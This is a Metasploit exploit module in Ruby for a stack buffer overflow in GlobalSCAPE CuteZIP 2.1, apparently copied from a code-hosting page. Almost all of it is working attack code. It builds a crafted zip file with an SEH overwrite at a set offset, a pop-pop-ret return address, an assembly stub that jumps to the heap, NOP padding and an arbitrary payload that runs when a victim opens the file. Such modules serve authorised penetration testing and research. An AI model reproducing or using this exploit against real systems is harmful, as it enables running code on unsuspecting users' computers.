99 lines
2.6 KiB
Ruby
99 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex/zip'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'GlobalSCAPE CuteZIP Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow vulnerability in version 2.1
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of CuteZIP.
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In order for the command to be executed, an attacker must convince the target user
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to open a specially crafted zip file with CuteZIP. By doing so, an attacker can
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execute arbitrary code as the target user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'C4SS!0 G0M3S <Louredo_[at]hotmail.com>', # Initial discovery, poc
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'juan vazquez' # Metasploit
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],
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'References' =>
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[
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[ 'OSVDB', '85709' ],
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[ 'EDB', '16162' ],
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[ 'BID', '46375' ]
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],
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'Platform' => [ 'win' ],
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'Payload' =>
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{
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'BadChars' => "",
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'DisableNops' => true,
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'Space' => 3000 # Limit due to the heap chunk size where the payload is stored
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},
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'Targets' =>
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[
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[
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# Tested successfully on:
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# * Windows XP SP3
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# * Windows Vista SP2
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# * Windows 7 SP1
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# (NO DEP)
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'CuteZIP 2.1 / Windows Universal',
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{
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'Ret' => 0x0040112F, # pop, pop, ret from CuteZIP.exe
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'Offset' => 1148,
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'Nops' => 398
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}
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],
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],
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'DisclosureDate' => 'Feb 12 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip'])
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], self.class)
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end
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def exploit
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redirect_heap = <<-ASM
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popad
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popad
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popad
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push ecx
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pop eax
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call eax
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ASM
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crafted_file = rand_text(target['Offset'])
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crafted_file << generate_seh_record(target.ret)
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crafted_file << Metasm::Shellcode.assemble(Metasm::Ia32.new, redirect_heap).encode_string
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crafted_file << make_nops(1) * target['Nops']
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crafted_file << payload.encoded
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# Create the file
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zip = Rex::Zip::Archive.new
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xtra = rand_text(4)
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zip.add_file(crafted_file, xtra)
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(zip.pack)
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end
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end
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